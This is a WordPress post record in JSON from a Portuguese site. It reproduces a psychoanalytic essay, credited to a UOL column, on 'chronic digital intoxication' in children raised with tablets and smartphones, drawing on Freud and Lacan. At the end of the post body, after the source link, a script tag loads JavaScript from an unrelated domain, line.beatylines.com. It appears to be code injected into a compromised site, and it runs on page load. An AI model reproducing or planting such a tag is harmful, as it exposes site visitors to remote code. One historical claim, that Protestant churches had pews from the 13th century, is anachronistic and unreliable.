{"id":322,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/o-mal-da-geracao-dos-tablets-e-smartphones\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"o-mal-da-geracao-dos-tablets-e-smartphones","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/o-mal-da-geracao-dos-tablets-e-smartphones\/","title":{"rendered":"o mal da gera\u00e7\u00e3o dos tablets e smartphones"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p>Na Idade M\u00e9dia as aulas duravam por volta de 20 minutos. Os alunos n\u00e3o conseguiam ficar parados, com aten\u00e7\u00e3o fixa, mais do que esse tempo. Apesar da <em>klismos<\/em> grega, a cadeira com um apoio oval, ser popular entre os s\u00e9culos V a.C. e II, o uso da cadeira para sentar durante uma prele\u00e7\u00e3o s\u00f3 reapareceu com for\u00e7a no s\u00e9culo XVIII. A c\u00e1tedra, cadeira na qual se sentava o professor, era uma deriva\u00e7\u00e3o de sua fun\u00e7\u00e3o original, que era facilitar o parto em certos casos, e tinha a fun\u00e7\u00e3o de elevar a posi\u00e7\u00e3o do mestre em rela\u00e7\u00e3o aos seus alunos.<\/p>\n<p>Os bancos foram introduzidos nas igrejas protestantes, principalmente na Inglaterra, a partir do s\u00e9culo XIII. At\u00e9 ent\u00e3o, v\u00e1rias missas podiam acontecer ao mesmo tempo, e as pessoas ficavam andando pelas naves e sacristias. A ideia de um p\u00fablico quieto, silencioso e sentado, surgiu no teatro apenas a partir do s\u00e9culo XIX. Antes disso, participar com coment\u00e1rios orais, desenvolver conversas paralelas e atirar objetos aos maus atores eram pr\u00e1ticas correntes.<\/p>\n<p>Em 1902, <a href=\"https:\/\/educacao.uol.com.br\/biografias\/marie-e-pierre-curie.htm\">Marie e Pierre Curie<\/a> ganham o Pr\u00eamio Nobel de Qu\u00edmica, juntamente com Becquerel, pela descoberta da radioatividade. A partir de ent\u00e3o subst\u00e2ncias como o r\u00e1dio, o t\u00f3rio e o ur\u00e2nio passam a ser comercializadas livremente, ali\u00e1s, como a coca\u00edna, empregada medicamente com fins analg\u00e9sicos e anest\u00e9sicos. Dentistas passam a segurar os <a href=\"https:\/\/www.uol.com.br\/splash\/filmes\/\">filmes<\/a> para raios X com seus pr\u00f3prios dedos, recomenda-se a ingest\u00e3o de subst\u00e2ncias radioativas para tratamento de c\u00e2ncer no est\u00f4mago, seu uso no pesco\u00e7o para estimular a tireoide ou no escroto para melhorar a libido, aplica\u00e7\u00f5es com inaladores para curar doen\u00e7as mentais. Mais de uma d\u00e9cada e as vidas de Curie e Becquerel foram necess\u00e1rias para que o uso controlado da radia\u00e7\u00e3o fosse estabelecido.<\/p>\n<p>\u00c9 poss\u00edvel que estejamos vivendo uma combina\u00e7\u00e3o entre os dois processos hist\u00f3ricos que apresentei acima, quando pensamos em uma primeira gera\u00e7\u00e3o de crian\u00e7as nascidas e criadas sob os ausp\u00edcios de tablets, smartphones, bandas largas e demais experi\u00eancias de acesso ao mundo digital. Assim como a introdu\u00e7\u00e3o de bancos e cadeiras mudou nossa rela\u00e7\u00e3o com o saber, com a disciplina do corpo e da aten\u00e7\u00e3o, gerando uma nova economia de autoridade, a descoberta da radia\u00e7\u00e3o deixou um rastro de efeitos imprevis\u00edveis e delet\u00e9rios para os que inauguraram seu uso.<\/p>\n<p>Seria, portanto, um pouco in\u00f3cuo especular sobre as condi\u00e7\u00f5es da implanta\u00e7\u00e3o do modo de vida digital enquanto ele est\u00e1 se implantando. Por outro lado, foram os dentistas que perderam seus dedos e os pesquisadores que registraram fortuitamente as primeiras queimaduras ocasionadas pelo material radioativo quem primeiro testemunharam as evid\u00eancias necess\u00e1rias para o uso controlado dessas subst\u00e2ncias.<br \/>Da\u00ed que o presente ensaio tenha uma inten\u00e7\u00e3o diagn\u00f3stica \u00e0 qual adiciono ila\u00e7\u00f5es progn\u00f3sticas sobre o uso da &#8220;subst\u00e2ncia&#8221; digital.<\/p>\n<p>N\u00e3o creio que uma epidemia de Transtorno de D\u00e9ficit de Aten\u00e7\u00e3o e Hiperatividade tenha ocorrido entre alunos medievais, assim como parece improv\u00e1vel a forma\u00e7\u00e3o de sintomas espec\u00edficos do uso intoxicante da vida digital. Os sintomas ser\u00e3o provavelmente difusos, e a epidemia vir\u00e1 sem que entendamos seu processo de transmiss\u00e3o.<\/p>\n<p>A intoxica\u00e7\u00e3o digital cr\u00f4nica \u00e9 uma patologia discursiva, ou seja, deve ser entendida simultaneamente como uma altera\u00e7\u00e3o do la\u00e7o social, da economia de gozo e da rela\u00e7\u00e3o de reconhecimento, as tr\u00eas perspectivas que presidiram a constru\u00e7\u00e3o tardia do conceito de discurso em Lacan. Ela \u00e9 um ramo das patologias ocupacionais, uma esp\u00e9cie de burnout infantil.<\/p>\n<p><a href=\"https:\/\/educacao.uol.com.br\/disciplinas\/biologia\/psicanalise-a-mente-segundo-a-teoria-de-sigmund-freud.htm\">Freud<\/a> referia-se \u00e0 &#8220;toxina sexual&#8221;, em seus primeiros escritos, como uma quantidade de libido que n\u00e3o podendo encontrar seu destino nem em representa\u00e7\u00f5es substitutivas (ideias obsessivas) nem em objetos do mundo (fobias) nem em uma parte do corpo (convers\u00f5es hist\u00e9ricas), n\u00e3o sendo tamb\u00e9m objeto de descarga, transforma-se em ang\u00fastia, capaz de se apresentar como perturba\u00e7\u00e3o da atitude atencional (neurastenia), como ataques de p\u00e2nico (neurose de ang\u00fastia) ou como ang\u00fastia som\u00e1tica (hipocondria).<\/p>\n<p>Nesse ponto Freud introduz a liga\u00e7\u00e3o poss\u00edvel entre um agente etiol\u00f3gico difuso, como uma determinada pr\u00e1tica da sexualidade, e sua articula\u00e7\u00e3o com processos ps\u00edquicos:<\/p>\n<p>&#8220;As primeiras [condi\u00e7\u00f5es etiol\u00f3gicas], por exemplo, o <em>coitus interruptus<\/em>, a masturba\u00e7\u00e3o e a abstin\u00eancia s\u00e3o, todavia, mult\u00edvocas e capazes de produzir qualquer neurose; somente os fatores etiol\u00f3gicos abstra\u00eddos destes, como o apressamento inadequado, a insufici\u00eancia ps\u00edquica uma defesa com substitui\u00e7\u00e3o, possuem um nexo inequ\u00edvoco e espec\u00edfico com a etiologia de cada uma das grandes neuroses.&#8221;<\/p>\n<p>Ou seja, n\u00e3o \u00e9 a pr\u00e1tica em si da masturba\u00e7\u00e3o ou da abstin\u00eancia que possui papel causal. Elas favorecem ou desfavorecem modalidades de trabalho ps\u00edquico, de rela\u00e7\u00e3o com o outro e de experi\u00eancia de prazer na corporeidade que possuem, a\u00ed sim, for\u00e7a etiol\u00f3gica.<\/p>\n<p>Temos aqui um modelo metodol\u00f3gico para a abordagem psicanal\u00edtica de pr\u00e1ticas sociais e er\u00f3ticas. Elas n\u00e3o devem ser consideradas em uma conex\u00e3o necess\u00e1ria com determinadas disposi\u00e7\u00f5es ou posi\u00e7\u00f5es subjetivas, mas referidas a processos espec\u00edficos, que s\u00e3o, por assim dizer, conceitos de media\u00e7\u00e3o intensiva. Neste caso: o apressamento, a insufici\u00eancia, a evita\u00e7\u00e3o, que podem ser comparadas e contrastadas com as pr\u00e1ticas de <em>defesa <\/em>por substitui\u00e7\u00e3o, que dependem do reconhecimento e interioriza\u00e7\u00e3o ou exterioriza\u00e7\u00e3o de conflitos.<\/p>\n<p>A media\u00e7\u00e3o intensiva ligada \u00e0 vida digital aparece nos relatos de consumo excessivo de telas com tr\u00eas tra\u00e7os constantes:<\/p>\n<p>(a) aumento da velocidade nas demandas, trocas e facilidade de acesso \u00e0 informa\u00e7\u00e3o;<br \/>(b) superficialidade de contato interpessoal, redu\u00e7\u00e3o da espessura imagin\u00e1ria da vida de fantasia e correlato ao aumento de sua extens\u00e3o;<br \/>(c) introdu\u00e7\u00e3o de pr\u00e1ticas que substituem o conflito, por exemplo, a evita\u00e7\u00e3o situacional por meio da exclus\u00e3o, invisibilidade ou indiferen\u00e7a constru\u00edda em rela\u00e7\u00e3o aos elementos aversivos.<\/p>\n<p>Ou seja, nesses casos, o conflito material, moral e atual, com sua for\u00e7a na determina\u00e7\u00e3o de pr\u00e1ticas sociais, \u00e9 considerando em um registro de causalidade paralela \u00e0 do recalque, da fantasia rememorada e do retorno do infantil.<\/p>\n<p>Treze anos depois, em seu texto mais fortemente dirigido \u00e0 interven\u00e7\u00e3o da psican\u00e1lise em pr\u00e1ticas sociais, o problema das neuroses atuais retorna com a mesma met\u00e1fora da toxicidade:<\/p>\n<p>&#8220;Nas primeiras [neuroses], as perturba\u00e7\u00f5es (sintomas), ou seja, que se exteriorizam em opera\u00e7\u00f5es corporais ou nas an\u00edmicas, parecem ser de natureza t\u00f3xica: seu comportamento \u00e9 em tudo parecido ao que sobrev\u00e9m \u00e0 causa de um influxo hipertr\u00f3fico ou priva\u00e7\u00e3o de certos venenos nervosos.&#8221;<\/p>\n<p>No interior do debate com Beard, Binswanger e Ehrenfelds acerca do papel da moral dupla na determina\u00e7\u00e3o de sintomas nervosos da modernidade, Freud novamente descarta a abordagem direta que traduz pr\u00e1ticas em perturba\u00e7\u00f5es e recorre aos conceitos de media\u00e7\u00e3o: priva\u00e7\u00e3o (&#8220;Entbehrung&#8221;) e influxo hipertr\u00f3fico (&#8220;\u00fcbergrosser Zufuhr&#8221;). A toxidade aparece ent\u00e3o como modelo diagn\u00f3stico para um tipo de a\u00e7\u00e3o espec\u00edfica que atua, intrusivamente, de forma t\u00f3xica (toxischer) e venenosa (Nervengifte).<\/p>\n<p>A tradu\u00e7\u00e3o de &#8220;\u00fcbergrosser Zufuhr&#8221;, por &#8220;influxo hipertr\u00f3fico&#8221; \u00e9 problem\u00e1tica porque &#8220;\u00fcbergrosser&#8221; \u00e9 um termo muito simples e corrente, que denota algo como muito grande, super grande ou excessivo e &#8220;Zufuhr&#8221; n\u00e3o \u00e9 bem influxo, mas fornecimento, alimenta\u00e7\u00e3o, pedido ou oferta. O que se perde nessa tradu\u00e7\u00e3o s\u00e3o exatamente as resson\u00e2ncias que nos levariam \u00e0 no\u00e7\u00e3o francesa de demanda (demande).<\/p>\n<p>Se juntamos a priva\u00e7\u00e3o<em> <\/em>(&#8220;Entbehrung&#8221;) com a &#8220;Zufuhr&#8221;, encontramos todos os elementos que definem a estrutura da demanda segundo Lacan, ou seja: te pe\u00e7o, que recuse, o que ofere\u00e7o&#8230; Porque n\u00e3o \u00e9 isso.<\/p>\n<p>Um excesso de demandas caracterizaria, assim, um apressamento, uma urg\u00eancia t\u00f3xica nas voltas que a demanda d\u00e1 em torno de um objeto, constru\u00eddo, retrospectivamente, como causa posterior e ausente deste trabalho. Ora, essa demanda, assim caracterizada, ocorre dentro de um discurso que tem como marca caracter\u00edstica um tra\u00e7o temporal: a atualidade<\/p>\n<p>As neuroses atuais (&#8220;Aktuelle&#8221;) s\u00e3o, sobretudo, uma interpreta\u00e7\u00e3o que fazemos sobre nosso pr\u00f3prio tempo, cuja ilus\u00e3o \u00e9 justamente nos fazer crer que somos contempor\u00e2neos de n\u00f3s mesmos, que nossa \u00e9poca, que nosso tempo \u00e9 o mesmo para todos que o vivem e que ele \u00e9 transparente aos que o vivem. Ora, nada mais falso do que isso, quando se trata da forma hist\u00f3rica de nossa modalidade de sofrimento.<\/p>\n<p>N\u00e3o \u00e9 por outro motivo que Beard descrevia o nervosismo moderno com as mesmas ideias de acelera\u00e7\u00e3o, pressa e falta de tempo que os primeiros moradores das cidades industriais, na Inglaterra ou na Fran\u00e7a do s\u00e9culo XVIII, testemunharam como progresso ou que os rom\u00e2nticos alem\u00e3es do final do s\u00e9culo XVIII tematizaram com a perda da experi\u00eancia da natureza. Ainda que tais termos sejam reempregados, quase que em exata repeti\u00e7\u00e3o, para descrever o tempo de hoje, o \u00faltimo tempo, o tempo atual, sua emerg\u00eancia como valor \u00e9 t\u00edpica da modernidade e como tal se coliga aos nossos modos hist\u00f3ricos de individualiza\u00e7\u00e3o. Ou seja, a neurose atual n\u00e3o \u00e9 um fen\u00f4meno dat\u00e1vel concernente \u00e0 interpreta\u00e7\u00e3o que Freud dava \u00e0 sua \u00e9poca, em 1908, mas um dispositivo, uma estrutura de discurso, mais provavelmente uma forma-tipo do discurso do mestre.<\/p>\n<p>Chegamos assim \u00e0 hip\u00f3tese de que a intoxica\u00e7\u00e3o digital infantil decorre de uma nova moral sexual civilizada que altera difusamente pr\u00e1ticas sociais e o uso da linguagem, por exemplo, superf\u00edcies de imagem que quando tocadas determinam altera\u00e7\u00f5es no padr\u00e3o de continuidade e transforma\u00e7\u00e3o dessa imagem.<\/p>\n<p>Esses aparatos podem ser instalados em situa\u00e7\u00f5es m\u00f3veis como carrinhos de beb\u00eas, autom\u00f3veis e empregados em virtualmente em qualquer situa\u00e7\u00e3o determinando um padr\u00e3o de aquietamento, ocupa\u00e7\u00e3o atencional e uma divis\u00e3o de investimento libidinal permanente entre uma paisagem de acontecimentos secund\u00e1rios e um foco de circula\u00e7\u00e3o concentrada de mensagens-imagens.<\/p>\n<p>Na segunda inf\u00e2ncia, esse dispositivo afetar\u00e1 mais drasticamente a socializa\u00e7\u00e3o, por meio das <a href=\"https:\/\/www.uol.com.br\/tilt\/redes-sociais\/ \">redes sociais<\/a>, onde se disponibilizam encontros e comunica\u00e7\u00e3o quase-permanentemente com outrem. A din\u00e2mica de aus\u00eancia e presen\u00e7a, estruturada no primeiro tempo, reverte-se aqui em uma fus\u00e3o entre a demanda generalizada confluente com uma determinada gram\u00e1tica de reconhecimento, coordenada quantitativamente pelo n\u00famero de san\u00e7\u00f5es e qualitativamente pela intensifica\u00e7\u00e3o das imagens ou avatares de si e de outros.<\/p>\n<p>O terceiro tempo corresponde \u00e0 unifica\u00e7\u00e3o dessas duas esferas em uma modalidade de saber mais propriamente integrada aos processos educativos e laborais. Ent\u00e3o, a entrada na linguagem e a aquisi\u00e7\u00e3o da fala, no primeiro caso, e a generaliza\u00e7\u00e3o da extens\u00e3o simb\u00f3lica, do segundo fundem um tipo de demanda com uma forma de discurso, concluindo a forma\u00e7\u00e3o de um modo de subjetiva\u00e7\u00e3o marcado pela intoxica\u00e7\u00e3o digital cr\u00f4nica.<\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/colunas\/blog-do-dunker\/2022\/04\/15\/vivemos-uma-intoxicacao-digital-infantil-cronica.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Na Idade M\u00e9dia as aulas duravam por volta de 20 minutos. Os alunos n\u00e3o conseguiam ficar parados, com aten\u00e7\u00e3o fixa, mais do que esse tempo. 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